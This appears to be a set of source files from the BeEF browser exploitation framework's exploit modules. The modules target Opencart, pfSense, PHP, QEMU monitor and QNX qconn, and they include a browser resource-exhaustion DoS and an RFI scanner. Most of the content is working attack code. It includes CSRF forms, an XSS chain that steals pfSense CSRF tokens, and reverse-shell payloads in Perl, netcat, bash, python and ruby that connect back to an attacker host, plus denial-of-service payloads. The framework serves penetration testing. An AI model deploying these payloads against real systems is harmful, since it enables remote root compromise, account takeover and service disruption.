authors: ["bcoles", "anatolymik"]
target:
working: ["IE"]
|
Ruby
|
beef/modules/exploits/ntfscommoncreate_dos/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Ntfscommoncreate_dos < BeEF::Core::Command
def self.options
[]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/opencart_reset_password/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var base = '<%= @base %>';
var password = '<%= @password %>';
var opencart_reset_password_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
{'type':'hidden', 'name':'password', 'value':password},
{'type':'hidden', 'name':'confirm', 'value':password}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(opencart_reset_password_iframe);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/opencart_reset_password/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
opencart_reset_password:
enable: true
category: "Exploits"
name: "Opencart Reset Password CSRF"
description: "Attempts to reset an Opencart user's password."
authors: ["Saadat Ullah", "bcoles"]
target:
unknown: ["ALL"]
|
Ruby
|
beef/modules/exploits/opencart_reset_password/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This module has not been tested
class Opencart_reset_password < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'Opencart path', 'value' => 'http://example.com/index.php?route=account/password' },
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'beefbeef' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/x.js";
var target = 'http://' + rhost + ':' + rport + '/status_captiveportal_expire.php?zone="><script src="' + hook + '"></script>#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location);
// Add dynamicaly the <meta> tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer).
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis).");
var meta = document.createElement('meta');
meta.name = "referrer";
meta.content = "no-referrer";
document.getElementsByTagName('head')[0].appendChild(meta);
// Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass)
// A full redirection is needed because pfSense disallow framing via X-frame-origin header...
// The current URL of the hooked page is sent via the payload to redirect back after few second
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).");
document.location = target;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
});
|
YAML
|
beef/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
pfsense_2_3_2_reverse_root_shell_csrf:
enable: true
category: ["Exploits", "pfSense"]
name: "pfSense <= 2.3.2 Reverse Root Shell CSRF"
description: "Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.<br /><a target='_blank' href='https://pfsense.org/security/advisories/pfSense-SA-17_01.webgui.asc'>Vulnerablity</a> found and PoC provided by <a target='_blank' href='https://www.linkedin.com/in/yann-cam-621b0b42'>Yann CAM</a> <a target='_blank' href='https://www.asafety.fr'>@ASafety</a> / <a target='_blank' href='http://www.synetis.com'>Synetis</a> (<a target='_blank' href='https://www.youtube.com/watch?v=IWtf6LlfP_c'>demo video</a>).<br />Patched in version <a target='_blank' href='https://doc.pfsense.org/index.php/2.3.3_New_Features_and_Changes'>2.3.33</a>."
authors: ["ycam"]
target:
user_notify: ["FF"]
|
Ruby
|
beef/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')
end
def self.options
configuration = BeEF::Core::Configuration.instance
lhost = configuration.get('beef.http.host').to_s
lhost = '' if lhost == '0.0.0.0'
[
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254' },
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost },
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }
]
end
def post_execute
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js
|
// Function Ajax without JQuery library
function ajax(url, method, data, async){
method = typeof method !== 'undefined' ? method : 'GET';
async = typeof async !== 'undefined' ? async : false;
if(window.XMLHttpRequest)
var xhReq = new XMLHttpRequest();
else
var xhReq = new ActiveXObject("Microsoft.XMLHTTP");
if(method == 'POST'){
xhReq.open(method, url, async);
xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhReq.send(data);
} else {
if(typeof data !== 'undefined' && data !== null)
url = url+'?'+data;
xhReq.open(method, url, async);
xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhReq.send(null);
}
var serverResponse = xhReq.responseText;
return serverResponse;
}
var hash = window.location.hash.substring(1);
var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&"));
var splitlhostlport = lhostlport.split(":");
var lhost = splitlhostlport[0];
var lport = splitlhostlport[1];
var redir = hash.substring(hash.indexOf("redir=")+6, hash.length);
var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B';
// Function with AJAX request
// This function requests in GET an internal WebGUI page, which contains the token.
// Source code of this webpage is passed to the extractToken() function.
function loadToken(){
var response = ajax('/diag_command.php');
extractToken(response);
}
// Function called after AJAX request in a defined page of the context, which contains the token value
function extractToken(response){
// response var contains the source code of the page requested by AJAX
// Regex to catch the token value
var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
var token = response.match(regex);
token = RegExp.$1;
// Pass the token to the final function which make the CSRF final attack
makeCSRF(token);
}
// Function with AJAX request
// The token var is needed to perform the right CSRF attack with the context referer
function makeCSRF(token){
// Final CSRF attack with right referer (because executed in the context)
// and with right token captured above
var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token);
// Finally, redirect back to the intial hooked page
document.location=decodeURIComponent(redir);
}
// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time
if (trigger){
} else {
var trigger = function(){
loadToken();
};
trigger();
}
|
JavaScript
|
beef/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var pfsense_iframe = beef.dom.createIframeXsrfForm("https://" + rhost + ":" + rport +"/system_firmware.php", "POST", "application/x-www-form-urlencoded",
[{'type':'hidden', 'name':'kerneltype', 'value':'SMP > /boot/kernel/pfsense_kernel.txt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + lhost + ' ' + lport + ' >/tmp/f &'}]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(pfsense_iframe);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
pfsense_reverse_root_shell_csrf:
enable: true
category: ["Exploits", "pfSense"]
name: "pfSense Reverse Root Shell CSRF"
description: "Attempts to get a reverse root shell on a pfSense 2.0.1 firewall/router.<br />Vulnerablity found and PoC provided by Yann CAM @ Synetis.<br />The method described by <a href='http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet'>Jeff Price</a> has been used to create a reverse shell with netcat.<br />For more information refer to <a href='http://www.exploit-db.com/exploits/23901/'>http://www.exploit-db.com/exploits/23901/</a><br />Patched in version 2.0.2."
authors: ["bmantra"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Pfsense_reverse_root_shell_csrf < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
lhost = @configuration.beef_host
lhost = '' if lhost == '0.0.0.0'
[
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' },
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '443' },
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost },
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/php-5.3.9-dos/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// Simple proof of concept for PHP 5.3.9 DoS bug (CVE-2012-0830)
// PoC written by Paul Westin
// PoC ported to BeEF by bcoles
// Bug discovered by Stefan Esser (@i0n1c)
// For more information see http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
return evil_obj;
}
// Serialize Javascript object into POST data
function serializeObj (obj) {
var str = [];
for(var p in obj) {
str.push(p + "=" + obj[p]);
}
return str.join("&");
}
// Run attack
function php_dos (target_url) {
var bad = serializeObj(createEvilObj());
var xhr = new XMLHttpRequest();
xhr.open("POST", target_url, true);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.setRequestHeader('Content-Length', bad.length);
xhr.send(bad);
}
try {
php_dos("<%= @url %>");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
} catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "fail=request failed with error: "+e.toString());
}
});
|
YAML
|
beef/modules/exploits/php-5.3.9-dos/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
php_dos:
enable: true
category: "Exploits"
name: "PHP 5.3.9 DoS"
description: "This module uses the zombie browser to exploit a denial of service bug in PHP 5.3.9 (<a href='http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0830'>CVE-2012-0830</a>).<br/><br/>For more information, see <a href='http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/'>http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/</a>."
authors: ["bcoles", "Paul Westin", "Stefan Esser"]
target:
unknown: ["ALL"]
|
Ruby
|
beef/modules/exploits/php-5.3.9-dos/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Php_dos < BeEF::Core::Command
def self.options
[
{ 'name' => 'url', 'ui_label' => 'Target URL', 'type' => 'textarea', 'value' => 'http://example.com/index.php', 'width' => '400px', 'height' => '50px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] unless @datastore['result'].nil?
content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?
save content
end
end
|
JavaScript
|
beef/modules/exploits/qemu_monitor_migrate_cmd_exec/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var timeout = 5;
var payload_name = '<%= @payload %>';
var peer = rhost + ':' + rport;
payload = function() {
var whitespace = '';
for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
var payload = '';
switch (payload_name) {
case "reverse_python2":
var cmd = "import socket,subprocess,os;host='"+lhost+"';port="+lport+";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)
var encoded_cmd = btoa(cmd);
payload = "/usr/bin/python2 -c \\\"exec ( '" + encoded_cmd + "'.decode ( 'base64' ) )\\\"";
payload = payload.replace(/ /g, whitespace);
break;
case "reverse_netcat":
payload = "/bin/nc " + lhost + " " + lport + " -e /bin/sh";
payload = payload.replace(/ /g, whitespace);
break;
case "reverse_ruby":
payload = "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\\\"" + lhost + "\\\",\\\"" + lport + "\\\");while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end'"
payload = payload.replace(/ /g, whitespace);
break;
default: // "reverse_bash"
payload = "/bin/bash -c '/bin/bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'";
payload = payload.replace(/ /g, whitespace);
break;
}
return 'migrate "exec:' + payload + '"'
}
try {
var code = payload();
beef.debug("[qemu_monitor_migrate_cmd_exec] " + peer + " - Sending payload (" + code.length + " bytes)");
var iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/", code);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
} catch(e) {
beef.debug("[qemu_monitor_migrate_cmd_exec] " + peer + " - Exploit failed: " + e.message);
}
cleanup = function() {
try {
document.body.removeChild(iframe_<%= @command_id %>);
} catch(e) {
beef.debug("[qemu_monitor_migrate_cmd_exec] Could not remove iframe: " + e.message);
}
}
setTimeout("cleanup()", timeout*1000);
});
|
YAML
|
beef/modules/exploits/qemu_monitor_migrate_cmd_exec/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
qemu_monitor_migrate_cmd_exec:
enable: true
category: "Exploits"
name: "QEMU Monitor 'migrate' Command Execution"
description: "This module attempts to get a reverse shell from <a href='https://www.qemu.org/docs/master/system/monitor.html'>QEMU monitor service</a> (TCP or Telnet) using the 'migrate' command.<br/><br/>Works only if SSL/TLS and authentication are disabled. See: <a href='https://www.qemu.org/docs/master/system/security.html#monitor-console-qmp-and-hmp'>https://www.qemu.org/docs/master/system/security.html</a>."
authors: ["bcoles"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/qemu_monitor_migrate_cmd_exec/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Qemu_monitor_migrate_cmd_exec < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
lhost = configuration.beef_host
lhost = '' if lhost == '0.0.0.0'
[
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '' },
{ 'name' => 'payload',
'type' => 'combobox',
'ui_label' => 'Payload',
'store_type' => 'arraystore',
'store_fields' => ['payload'],
'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_python2'], ['reverse_ruby']],
'emptyText' => 'Select a payload',
'valueField' => 'payload',
'displayField' => 'payload',
'mode' => 'local',
'forceSelection' => 'false',
'autoWidth' => true },
{ 'name' => 'lhost', 'ui_label' => 'Listen Host', 'value' => lhost },
{ 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '8080' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/qnx_qconn_command_execution/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
// validate payload
try {
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var payload = '\r\nservice launcher\r\nstart/flags run /bin/sh /bin/sh -c "'+cmd+'"\r\n'
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target details
if (!rport || !rhost) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
return;
}
if (!beef.net.is_valid_port(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
return;
}
// send commands
var qnx_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
// clean up
cleanup = function() {
document.body.removeChild(qnx_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});
|
YAML
|
beef/modules/exploits/qnx_qconn_command_execution/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
qnx_qconn_command_execution:
enable: true
category: "Exploits"
name: "QNX QCONN Command Execution"
description: "This module exploits a vulnerability in the qconn component of QNX Neutrino which can be abused to allow unauthenticated users to execute arbitrary commands under the context of the 'root' user.<br/><br/>The results of the commands are not returned to BeEF."
authors: ["bcoles"]
target:
working: ["FF", "C", "O"]
not_working: ["S", "IE"]
|
Ruby
|
beef/modules/exploits/qnx_qconn_command_execution/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Qnx_qconn_command_execution < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '8000' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => '(echo Welcome to BeEF!) > /etc/motd',
'width' => '200px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
end
end
|
JavaScript
|
beef/modules/exploits/resource_exhaustion_dos/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var resource_exhaustion_dos_<%= @command_id %> = beef.dom.createInvisibleIframe();
var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/dos';
resource_exhaustion_dos_<%= @command_id %>.setAttribute('src', url);
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
});
|
YAML
|
beef/modules/exploits/resource_exhaustion_dos/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
resource_exhaustion_dos:
enable: true
category: "Exploits"
name: "Resource Exhaustion DoS"
description: "This module attempts to exhaust system resources rendering the browser unusable."
authors: ["bcoles"]
target:
working: ["FF", "IE", "S"]
not_working: ["C"]
|
Ruby
|
beef/modules/exploits/resource_exhaustion_dos/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Resource_exhaustion_dos < BeEF::Core::Command
def self.options
[]
end
def pre_send
src = %q{<iframe src="javascript:while(true) window.location='';">}
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
'200',
{ 'Content-Type' => 'text/html' },
src * rand(10..19),
'/dos',
-1
)
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/rfi_scanner/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rproto = '<%= @rproto %>';
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var base_dir = '<%= @base_dir %>';
var payload_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/rfi_php_<%= @command_id %>.txt?';
var target = rproto + '://' + rhost + ':' + rport + base_dir;
var wait = '<%= @wait %>';
get_url = function(uri) {
try {
var xhr = new XMLHttpRequest();
var rfi = uri.replace(/XXpathXX/g, payload_url);
xhr.open('GET', target+rfi, true);
xhr.onload = function () {
};
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.debug("[command #<%= @command_id %>] Response: " + xhr.response);
}
}
xhr.send(null);
} catch (e){
beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message);
}
}
// add scripts to queue
var requests = new Array(
<%=
scripts = []
File.open("#{$root_dir}/modules/exploits/rfi_scanner/rfi.txt", 'r') do |file_handle|
file_handle.each_line do |line|
uri = line.chomp!
next if uri =~ /^#/
next if uri.nil?
next if uri !~ /XXpathXX/
scripts << "'#{uri.gsub("'", "\\\\'")}'"
end
end
scripts.shuffle.join(",\n")
%>
);
// process queue
beef.debug("[command #<%= @command_id %>] Starting RFI scan of "+target+" ("+requests.length+" URLs)");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");
var timeout = wait * requests.length + 10;
var handle = setInterval(function() {
if (requests.length > 0) {
get_url(requests.pop());
} else cleanup();
}, wait*1000);
// clean up
cleanup = function() {
if (handle) {
beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");
clearInterval(handle);
handle = 0;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
}
}
setTimeout("cleanup();", timeout*1000);
});
|
YAML
|
beef/modules/exploits/rfi_scanner/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
rfi_scanner:
enable: true
category: "Exploits"
name: "RFI Scanner"
description: "This module scans the specified web server for ~2,500 remote file include vulnerabilities using the <a href='https://code.google.com/p/fuzzdb/'>fuzzdb</a> <a href='https://fuzzdb.googlecode.com/svn/trunk/attack-payloads/rfi/rfi.txt'>RFI list</a>. Many of these vulns require the target to have register_globals enabled in the PHP config.<br/><br/>The scan will take about 10 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below."
authors: ["bcoles"]
target:
working: ["ALL"]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.